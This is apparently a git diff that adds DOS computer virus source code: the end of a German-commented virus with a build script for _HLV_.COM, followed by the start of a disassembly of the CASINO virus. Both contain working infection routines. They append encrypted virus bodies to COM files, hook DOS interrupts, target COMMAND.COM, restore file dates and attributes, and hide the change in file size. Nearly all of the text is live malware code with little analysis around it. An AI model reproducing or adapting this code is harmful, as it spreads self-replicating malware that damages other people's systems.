MSDOS ; + MOV CS:[File_Size_lsb],AX ; + MOV CS:[File_Size_msb],DX ; + MOV AH,MS_Close ; + MSDOS ;---------------; + CMP CS:[Org1stInstr_t1], 'Z' * 100 + 'M' ; + JNZ XI_017 ; + JMP XI_025 ; +XI_017: CMP CS:[File_Size_msb],+0 ; + JA XI_018 ; + CMP CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ; + JBE XI_019 ; +XI_018: JMP XI_025 ; +XI_019: CMP BYTE PTR CS:[Org1stInstr_t1],NearJmp ; + JNZ XI_020 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,OFFSET Crypt1 - offset EOFC - 2 ; + CMP AX,CS:[Org1stInstr_t2] ;---------------; + JZ XI_018 ; + ; +IF DEMO ; +XI_020: CALL DEMO_Infect ; + JMP XI_025 ; + ; +IF2 ;----------------; +%Out ͻ +%Out Demo - Version, +%Out k e i n Virus. +ENDIF ;----------------; +ELSE ; +IFDEF _DANGER ; +XI_020 MOV AX,MS_GetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; + JB XI_018 ; + MOV CS:[File_Attributes],CX ; + XOR CL,Attr_A ; + TEST CL,Attr_ASHR ; + JZ XI_021 ; + MOV AX,MS_SetFileAttr ; + XOR CX,CX ; + MSDOS ; + JB XI_018 ; +XI_021: MOV AX,MS_Open * 100 + Read_Write ; + MSDOS ; + JB XI_018 ; + MOV BX,AX ; + MOV AX,MS_MoveFP * 100 + OfsFrmEnd ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + CALL Append_Virus ; + JNB XI_022 ; + MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + MOV CX,CS:[File_Size_msb] ; + MOV DX,CS:[File_Size_lsb] ; + MSDOS ; + MOV AH,MS_Write ; + XOR CX,CX ; + MSDOS ; + JMP SHORT XI_023 ; +XI_022: MOV AX,MS_MoveFP * 100 + OfsFrmTop ; + XOR CX,CX ; + XOR DX,DX ; + MSDOS ; + JB XI_023 ; + MOV AX,CS:[File_Size_lsb] ; + ADD AX,-2 ; + MOV CS:[FirstOpCode_2],AX ; + MOV AH,MS_Write ; + MOV DX,OFFSET FirstOpCode_1 ; + MOV CX,3 ; + MSDOS ; +XI_023: MOV AX,MS_SetFileDate ; + MOV DX,CS:[File_Date] ; + MOV CX,CS:[File_Time] ; + MSDOS ; + MOV AH,MS_Close ; + MSDOS ; + MOV CX,CS:[File_Attributes] ; + TEST CL,Attr_SHR ; + JNZ XI_024 ; + TEST CL,Attr_A ; + JNZ XI_025 ; +XI_024: MOV AX,MS_SetFileAttr ; + LDS DX,CS:DWORD PTR [Pathname] ; + MSDOS ; +IF2 ;----------------; +%Out ͻ +%Out KEIN DEMO, +%Out scharfer Virus. +ENDIF ; +ELSE ; + .ERR ; +ENDIF ; +ENDIF ; +IF SWITCHABLE ; +IF2 ; +%Out ͻ +%Out Neuer interner MSDOS Befehl '_HLV_' ! +ENDIF ; +ELSE ; +IF2 ; +%Out ͻ +%Out Kommando '_HLV_' nicht implementiert. +ENDIF ; +ENDIF ; +DISPNUM MACRO nu,nuxx ; +%Out (Monat - Jahr) nu - nuxx +ENDM ; +IF2 ; +%Out Bis zum Jahresende aktiv ab: +.radix 10 ; +DISPNUM %MONTH,%YEAR ; +.radix 16 ; +%Out ͼ +endif ; +XI_025: REST DS,ES,BP,DI,SI,DX,CX,BX,AX,F ;----------------; + JMP XI_014 ; +IF DEMO ; + ; + comment # +Ŀ + Statt APPEND in der DEMO - Version aufgerufene Prozedur. + + # ; +DEMO_INFECT PROC NEAR ; + push ax ; + push cx ; + in al,61 ; + or al,3 ; + out 61,al ; + mov al,0b6 ; + out 43,al ; + mov cx,0a ; +XI_026: dec cx ; + jz XI_030 ; +XI_027: mov ax,200d ; +XI_028: dec ax ; + cmp ax,100d ; + jz XI_031 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_029: nop ; + loop XI_029 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_028 ; +XI_030: in al,61 ; + and al,0fc ; + out 61,al ; + pop cx ; + pop ax ; + ret ; +XI_031: inc ax ; + cmp ax,600d ; + jz XI_026 ; + push ax ; + out 42,al ; + push cx ; + mov cx,150d ; +XI_032: nop ; + loop XI_032 ; + pop cx ; + mov al,ah ; + out 42,al ; + pop ax ; + jmp XI_031 ; +DEMO_INFECT ENDP ; + ; +ELSE ; + comment # +Ŀ + Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur + + # ; +Append_Virus PROC NEAR ; + SAVE ES,BX ; + MOV AH,MS_AllocMem ;----------; + MOV BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ; + MSDOS ;----------; + POP BX ; + JNB XI_034 ; +XI_033: STC ; + POP ES ; + RET ; +XI_034: MOV CS:[Crypt3],EnCrptd ; + MOV ES,AX ; + MOV_S DS,CS ; + XOR DI,DI ; + MOV SI,PSPsize ; + MOV CX,OFFSET EOFC ; + CLD ; + REPZ MOVSB ; + MOV DI,OFFSET XI_003 ; + MOV SI,OFFSET XR_001 ; + ADD SI,[File_Size_lsb] ; + MOV CX,OFFSET EOFC - OFFSET XI_003 ; +XI_035: XOR ES:[DI],SI ; + XOR ES:[DI],CX ; + INC DI ; + INC SI ; + LOOP XI_035 ; + MOV DS,AX ; + MOV AH,MS_Write ; + XOR DX,DX ; + MOV CX,OFFSET EOFC ; + MSDOS ; + SAVE F,AX ; + MOV AH,MS_ReleaseMem ; + MSDOS ; + REST AX,F ; + MOV_S DS,CS ; + JB XI_033 ; + CMP AX,CX ; + JNZ XI_033 ; + POP ES ; + CLC ; + RET ; +Append_Virus ENDP ; + ; +ENDIF ; + comment # +Ŀ + 'Zufallszahlen' - Generator. + + # ; +Random PROC NEAR ; + SAVE DS ; + MOV_S DS,CS ; + SAVE BX,CX,DX,AX ; + MOV CX,7 ; + MOV BX,offset LastRandom ; + PUSH [BX] ; +XI_036: MOV AX,[BX-02] ; + ADC [BX],AX ; + DEC BX ; + DEC BX ; + LOOP XI_036 ; + POP AX ; + ADC [BX],AX ; + MOV DX,[BX] ; + POP AX ; + OR AX,AX ; + JZ XI_037 ; + MUL DX ; +XI_037: MOV AX,DX ; + REST DX,CX,BX,DS ; + RET ; +Random ENDP ; + comment # +Ŀ + Zeichen und Attribut aus Videospeicher auslesen. + + # ; +Load_from_VRAM PROC NEAR ; + SAVE SI,DS,DX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV SI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV DS,[Seg_of_VRAM] ; + JZ XI_038 ; + Wait_HRI_or_VRI ; +XI_038: LODSW ; + STI ; + REST DX,DS,SI ; + RET ; +Load_from_VRAM ENDP ; + comment # +Ŀ + Zeichen und Attribut (AX) in den Videospeicher schreiben. + + # ; +Write_to_VRAM PROC NEAR ; + SAVE DI,ES,DX,BX ; + MOV BX,AX ; + MOV AL,DH ; + MUL [Num_of_Col] ; + MOV DH,0 ; + ADD AX,DX ; + SHL AX,1 ; + ADD AX,[Page_offset] ; + MOV DI,AX ; + TEST [Prevent_Snow?],-1 ; + MOV ES,[Seg_of_VRAM] ; + JZ XI_039 ; + Wait_HRI_or_VRI ; +XI_039: MOV AX,BX ; + STOSB ; + STI ; + REST BX,DX,ES,DI ; + RET ; +Write_to_VRAM ENDP ; + comment # +Ŀ + Bit 0 von Port B des 8255 Chips zurcksetzen (IO-Adresse : &H61 ). + + # ; +Toggle_Speaker PROC NEAR ; + PUSH AX ; + IN AL,PORT_B_8255 ; + XOR AL,02 ; + AND AL,0FE ; + OUT PORT_B_8255,AL ; + POP AX ; + RET ; +Toggle_Speaker ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein nicht darstellbares Zeichen enthlt. + + # ; +Is_it_blank_? PROC NEAR ; + CMP AL,0 ; + JZ XI_040 ; + CMP AL,20 ; + JZ XI_040 ; + CMP AL,-1 ; + JZ XI_040 ; + CLC ; + RET ; +XI_040: STC ; + RET ; +Is_it_blank_? ENDP ; + comment # +Ŀ + CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enthlt. + + # ; +Spec_Graphik? PROC NEAR ; + CMP AL,0B0 ; + JB XI_041 ; + CMP AL,0DF ; + JA XI_041 ; + STC ; + RET ; +XI_041: CLC ; + RET ; +Spec_Graphik? ENDP ; + comment # +Ŀ + Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln. + + # ; +GetSysSpeed PROC NEAR ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + STI ; + MOV AX,[B_TIMERVAR] ; +XI_042: CMP AX,[B_TIMERVAR] ; + JZ XI_042 ; + XOR CX,CX ; + MOV AX,[B_TIMERVAR] ; +XI_043: INC CX ; + JZ XI_045 ; + CMP AX,[B_TIMERVAR] ; + JZ XI_043 ; +XI_044: POP DS ; + MOV AX,CX ; + XOR DX,DX ; + MOV CX,0F ; + DIV CX ; + MOV CS:[Speed],AX ; + RET ; +XI_045: DEC CX ; + JMP XI_044 ; +GetSysSpeed ENDP ; + comment # +Ŀ + Verzgern ( Verzgerungszeit ist kaum maschinenabhngig ). + + # ; +Delay PROC NEAR ; + PUSH CX ; +XI_046: PUSH CX ; + MOV CX,[Speed] ; +XI_047: LOOP XI_047 ; + POP CX ; + LOOP XI_046 ; + POP CX ; + RET ; +Delay ENDP ; + comment # +Ŀ + Eine neue Interrupt 1C(h) Behandlungsroutine. + + # ; +XI_048 LABEL NEAR ; +XR_009 EQU XI_048 + PSPsize ;----------; + TEST CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ; + JZ XI_049 ;----------; + JMP XI_067 ; +XI_049: OR CS:[ISR_Flags],MASK R_in_1c ; + DEC CS:[XR_002] ; + JZ XI_050 ; + JMP XI_066 ; +XI_050: SAVE DS,ES ; + MOV_S DS,CS ; + MOV_S ES,CS ; + SAVE AX,BX,CX,DX,SI,DI,BP ; + MOV AL,EOI_8259A ; + OUT PORT_B_8259A,AL ; + MOV AX,[XR_003] ; + CMP AX,0438 ; + JNB XI_051 ; + MOV AX,0438 ; +XI_051: CALL Random ; + INC AX ; + MOV [XR_002],AX ; + MOV [XR_003],AX ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + MOV AX,[B_VidPage] ; + POP DS ; + MOV [Page_offset],AX ; + MOV [Last_Line],18 ; + MOV DL,-1 ; + MOV AX,1130 ; + MOV BH,0 ; + SAVE ES,BP ; + INT 10 ; + REST BP,ES ; + CMP DL,-1 ; + JZ XI_052 ; + MOV [Last_Line],DL ; +XI_052: CALL GetSysSpeed ; + MOV AH,0F ; + INT 10 ; + MOV [Num_of_Col],AH ; + MOV [Prevent_Snow?],0 ; + MOV [Seg_of_VRAM],MonoBase ; + CMP AL,07 ; + JZ XI_054 ; + JB XI_053 ; + JMP XI_064 ; +XI_053: MOV [Seg_of_VRAM],ColorBase ; + CMP AL,03 ; + JA XI_054 ; + CMP AL,02 ; + JB XI_054 ; + MOV [Prevent_Snow?],01 ; + MOV AL,[Last_Line] ; + INC AL ; + MUL [Num_of_Col] ; + MOV [Num_of_char],AX ; + MOV AX,[XR_004] ; + CMP AX,[Num_of_char] ; + JBE XI_054 ; + MOV AX,[Num_of_char] ; +XI_054: CALL Random ; + INC AX ; + MOV SI,AX ; +XI_055: XOR DI,DI ; +XI_056: INC DI ; + MOV AX,[Num_of_char] ; + SHL AX,1 ; + CMP DI,AX ; + JBE XI_057 ; + JMP XI_064 ; +XI_057: OR [ISR_Flags],MASK Recf_1 ; + MOV AL,[Num_of_Col] ; + MOV AH,0 ; + CALL Random ; + MOV DL,AL ; + MOV AL,[Last_Line] ; + MOV AH,0 ; + CALL Random ; + MOV DH,AL ; + CALL Load_from_VRAM ; + CALL Is_it_blank_? ; + JB XI_056 ; + CALL Spec_Graphik? ; + JB XI_056 ; + MOV [Last_Pair],AX ; + MOV CL,[Last_Line] ; + MOV CH,0 ; +XI_058: INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JB XI_060 ; +XI_059: CALL Spec_Graphik? ; + JB XI_062 ; + INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JNB XI_059 ; + CALL Toggle_Speaker ; + DEC DH ; + CALL Load_from_VRAM ; + MOV [Last_Char],AL ; + INC DH ; +XI_060: AND [ISR_Flags],NOT MASK Recf_1 ; + DEC DH ; + MOV AL,' ' ; + CALL Write_to_VRAM ; + INC DH ; + MOV AL,[Last_Char] ; + CALL Write_to_VRAM ; + JCXZ XI_061 ; + CALL Delay ; + DEC CX ; +XI_061: JMP XI_058 ; +XI_062: TEST [ISR_Flags],MASK Recf_1 ; + JZ XI_063 ; + JMP XI_056 ; +XI_063: CALL Toggle_Speaker ; + DEC SI ; + JZ XI_064 ; + JMP XI_055 ; +XI_064: IN AL,PORT_B_8255 ; + AND AL,0FC ; + OUT PORT_B_8255,AL ; + MOV AX,3 ; + CALL Random ; + INC AX ; + MUL [XR_004] ; + JNB XI_065 ; + MOV AX,-1 ; +XI_065: MOV [XR_004],AX ; + REST BP,DI,SI,DX,CX,BX,AX,ES,DS ; +XI_066: AND CS:[ISR_Flags],NOT MASK R_in_1c ; +XI_067: JMP DWORD PTR CS:[Org_Int_1C] ; + ; +IF SWITCHABLE ; + ; + comment # +Ŀ + Implementierung eines neuen in CMD_2F definierten internen Befehls. + + # ; +XI_068 Label Near ; +Int_2F_ISR EQU XI_068 + PSPsize ; + CMP AH,0AEH ; + JNZ Int_2F_end ; + CMP DX,-1 ; + JNZ Int_2F_end ; + CMP AL,0 ; + JNZ Int_2F_2nd ; + CALL Decode_2F ; + JNZ Int_2F_end ; + DEC AL ; + IRET ; +Int_2F_2nd: CMP AL,1 ; + JNZ Int_2F_end ; + CALL Decode_2F ; + JNZ Int_2F_end ; + SAVE DS,DX,AX ; + MOV_S DS,CS ; + XOR [ISR_Flags],MASK ExtCom ; + MOV DX,OFFSET MSG_ON ; + TEST [ISR_Flags],MASK ExtCom ; + JZ XI_069 ; + MOV DX,OFFSET MSG_OFF ; +XI_069: MOV AH,9 ; + MSDOS ; + REST AX,DX,DS ; + AND BYTE PTR [SI],0 ; + IRET ; +Int_2F_end: JMP DWORD PTR CS:[Org_Int_2F] ; + comment # +Ŀ + berprfen, ob der in CMD_2F definierte Befehl angesprochen wurde. + + # ; +Decode_2F PROC NEAR ; + SAVE SI,DI,ES,CX ; + MOV CX,05 ; + MOV_S ES,CS ; + MOV DI,OFFSET Cmd_2F ; + CLD ; + REPE CMPSW ; + REST CX,ES,DI,SI ; + RET ; +Decode_2F ENDP ; + ; +ENDIF ; + comment # +Ŀ + Okay, das war's. Zum Schlu noch einige Definitionen. + + # ; +EOFC EQU THIS WORD ; +XR_010 EQU OFFSET EOFC - 1 + FIRSTBASE ; +TEXT ENDS ; +IF2 ;----------------; +%Out +%Out (C) 1990 164A12565AA18213165556D3125C4B962712 ͼ +ENDIF ; +comment # +ͻ + + So knnte ein Batch - Makefile aussehen : + + @cls + @if %1.==. goto nopar + @if not exist %1.asm goto noasm + @ctty nul + @del %1.obj + @del %1.lst + @del %1.crf + @del %1.ref + @del %1.map + @del %1.exe + @del %1.bin + @del _HLV_.COM + @ctty con + @masm /b63 %1,,%1,%1 %2 %3 %4; + @if not exist %1.obj goto masm_err + @link %1,,%1; + @if not exist %1.exe goto link_err + @exe2bin %1; + @if not exist %1.bin goto exe2_err + @cref %1; + @if not exist %1.ref goto cref_err + @echo >> %1.lst + @copy %1.lst+%1.map+%1.ref %1.t > nul + @del %1.lst > nul + @ren %1.t %1.lst > nul + @del %1.obj > nul + @del %1.crf > nul + @del %1.ref > nul + @del %1.map > nul + @del %1.exe > nul + @echo n %1.bin > md.inp + @echo l 11f >> md.inp + @echo a 110 >> md.inp + @echo add cx,20 >> md.inp + @echo. >> md.inp + @echo g =110 113 >> md.inp + @echo f 110 11e 20 >> md.inp + @echo e 110 '%1' >> md.inp + @echo f 100 10f 90 >> md.inp + @echo a 100 >> md.inp + @echo jmp 120 >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo mov ax,4c00 >> md.inp + @echo int 21 >> md.inp + @echo. >> md.inp + @echo n _HLV_.com >> md.inp + @echo w >> md.inp + @echo q >> md.inp + @debug < md.inp > nul + @cls + @echo. + @echo ͻ + @echo + @echo MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt. + @echo + @echo ͼ + @echo. + @goto ende + :nopar + @echo FEHLER ! Mindestens ein Parameter ist erforderlich ! + @echo Syntax : MAKEHLV asmfile [switches] + @goto ende + :noasm + @echo FEHLER ! Die Datei %1.ASM ist nicht zu finden ! + @goto ende + :masm_err + @echo FEHLER ! %1.OBJ konnte nicht erstellt werden ! + @goto ende + :link_err + @echo FEHLER ! %1.EXE konnte nicht erstellt werden ! + @goto ende + :exe2_err + @echo FEHLER ! %1.BIN konnte nicht erstellt werden ! + @goto ende + :cref_err + @echo FEHLER ! %1.REF konnte nicht erstellt werden ! + :ende + +ͼ +# +END diff --git a/c/CASINO (35).ASM b/c/CASINO (35).ASM new file mode 100755 index 0000000..b88bc5f --- /dev/null +++ b/c/CASINO (35).ASM @@ -0,0 +1,1428 @@ + +PAGE 59,132 + +; +; +; CASINO +; +; Created: 31-Aug-90 +; Version: +; Passes: 9 Analysis Options on: H +; Copyright S & S International, 1990 +; +; + +data_1e equ 60Ch ; (0000:060C=0) +data_2e equ 60Dh ; (0000:060D=0) +data_3e equ 60Eh ; (0000:060E=0) +data_4e equ 60Fh ; (0000:060F=0) +data_5e equ 610h ; (0000:0610=0) +data_6e equ 611h ; (0000:0611=0) +data_7e equ 612h ; (0000:0612=0) +data_8e equ 2 ; (6AE6:0002=0) +data_10e equ 3Bh ; (6AE6:003B=0) +data_11e equ 3Dh ; (6AE6:003D=0) +data_12e equ 3Fh ; (6AE6:003F=0) +data_13e equ 40h ; (6AE6:0040=0) +data_14e equ 41h ; (6AE6:0041=0) +data_15e equ 43h ; (6AE6:0043=6AE6h) +data_16e equ 45h ; (6AE6:0045=0) +data_17e equ 47h ; (6AE6:0047=6AE6h) +data_18e equ 4Dh ; (6AE6:004D=0) +data_19e equ 68h ; (6AE6:0068=0) +data_20e equ 7Eh ; (6AE6:007E=0) +data_21e equ 80h ; (6AE6:0080=0) +data_33e equ 716Eh ; (6AE6:716E=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +casino proc far + +start: + nop +data_23 db 0E9h +data_24 db 48h +data_25 db 7, 'ello - Copyright S & S Intern' + db 'ational, 1990', 0Ah, 0Dh, '$' + db 1Ah + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AA' + db 0E6h + db 'jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + +casino endp + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + mov ah,9 + mov dx,offset data_25 ; (6AE6:0103=7) + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; Program Terminate + db 0, 0, 0, 0, 0, 0Fh + db 0, 0, 0E9h, 0D3h, 1, 0E9h + db 0, 0, 0, 90h, 0E9h, 78h + db 2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh + db 0 + db 'C:\COMMAND.COM' + db 0, 43h, 4Fh, 4Dh, 4Dh, 41h + db 4Eh, 44h, 0FFh + db 2Eh, 43h, 4Fh, 4Dh + db 15 dup (0) + db 3Fh, 0, 0F0h, 3, 2, 0 + db 0B3h, 4Bh, 0FCh, 91h, 56h, 5 + db 79h, 10h, 0, 0, 0, 0 + db 0, 3 + db 8 dup (3Fh) + db 43h, 4Fh, 4Dh, 3Fh, 8, 0 + db 1Eh, 2, 2Eh, 8Bh, 26h, 68h + db 20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h + db 3, 0, 0 + db 'H1000.COM' + db 9 dup (0) + db 1Fh, 15h, 0A9h, 8Eh, 90h, 90h + db 3Dh, 59h, 4Bh, 75h, 4, 0B8h + db 66h, 6, 0CFh, 80h, 0FCh, 11h + db 74h, 8, 80h, 0FCh, 12h, 74h + db 3, 0EBh, 51h, 90h +loc_2: + cmp al,66h ; 'f' + je loc_4 ; Jump if equal + mov al,66h ; 'f' + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + push ax + push bx + push cx + push dx + push es + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov al,es:[bx+10h] + cmp al,43h ; 'C' + jne loc_3 ; Jump if not equal + mov al,es:[bx+11h] + cmp al,4Fh ; 'O' + jne loc_3 ; Jump if not equal + mov al,es:[bx+12h] + cmp al,4Dh ; 'M' + jne loc_3 ; Jump if not equal + mov ax,es:[bx+24h] + cmp ax,91Ah + jb loc_3 ; Jump if below + sub ax,91Ah + mov cx,ax + push cx + mov cx,10h + mov dx,0 + div cx ; ax,dx rem=dx:ax/reg + pop cx + cmp dx,0 + jne loc_3 ; Jump if not equal + mov es:[bx+24h],cx +loc_3: + pop es + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return +int_24h_entry endp + +loc_4: + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + mov bx,cs + mov ds,bx + mov al,0 + mov ds:data_18e,al ; (6AE6:004D=0) + mov al,ds:data_13e ; (6AE6:0040=0) + cmp al,0FFh + jne loc_5 ; Jump if not equal + jmp loc_15 ; (06B2) +loc_5: + mov al,0FFh + mov ds:data_13e,al ; (6AE6:0040=0) + cmp ah,4Bh ; 'K' + je loc_6 ; Jump if equal + cmp ah,36h ; '6' + je loc_7 ; Jump if equal + jmp loc_15 ; (06B2) +loc_6: + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov ds:data_12e,al ; (6AE6:003F=0) + jmp short loc_8 ; (0624) + db 90h +loc_7: + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov ds:data_12e,al ; (6AE6:003F=0) + cmp dl,0 + je loc_8 ; Jump if equal + dec dl + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) +loc_8: + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + cmp al,1 + ja loc_9 ; Jump if above + mov ch,0 + push ds + pop es + mov bx,917h + mov al,1 + call sub_3 ; (07DB) + mov al,1 + call sub_4 ; (07EC) + cmp ah,0 + je loc_9 ; Jump if equal + jmp short loc_14 ; (069C) + db 90h +loc_9: + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov ds:data_14e,bx ; (6AE6:0041=0) + mov ds:data_15e,es ; (6AE6:0043=6AE6h) + mov dx,4Eh + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,0Bh + mov cx,3Fh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_14 ; Jump if carry Set + mov dx,6Ch + call sub_1 ; (06EE) + cmp dl,1 + jne loc_10 ; Jump if not equal + call sub_2 ; (073C) + jmp short loc_14 ; (069C) + db 90h +loc_10: + cmp dl,3 + je loc_11 ; Jump if equal + jmp short loc_14 ; (069C) + db 90h +loc_11: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_12 ; Jump if carry=0 + jmp short loc_14 ; (069C) + db 90h +loc_12: + mov dx,6Ch + call sub_1 ; (06EE) + cmp dl,1 + jne loc_13 ; Jump if not equal + call sub_2 ; (073C) + jmp short loc_14 ; (069C) + db 90h +loc_13: + cmp dl,3 + je loc_11 ; Jump if equal +loc_14: + mov dl,ds:data_12e ; (6AE6:003F=0) + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + mov dx,ds:data_14e ; (6AE6:0041=0) + mov bx,ds:data_15e ; (6AE6:0043=6AE6h) + mov ds,bx + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +loc_15: + mov ah,0 + mov ds:data_13e,ah ; 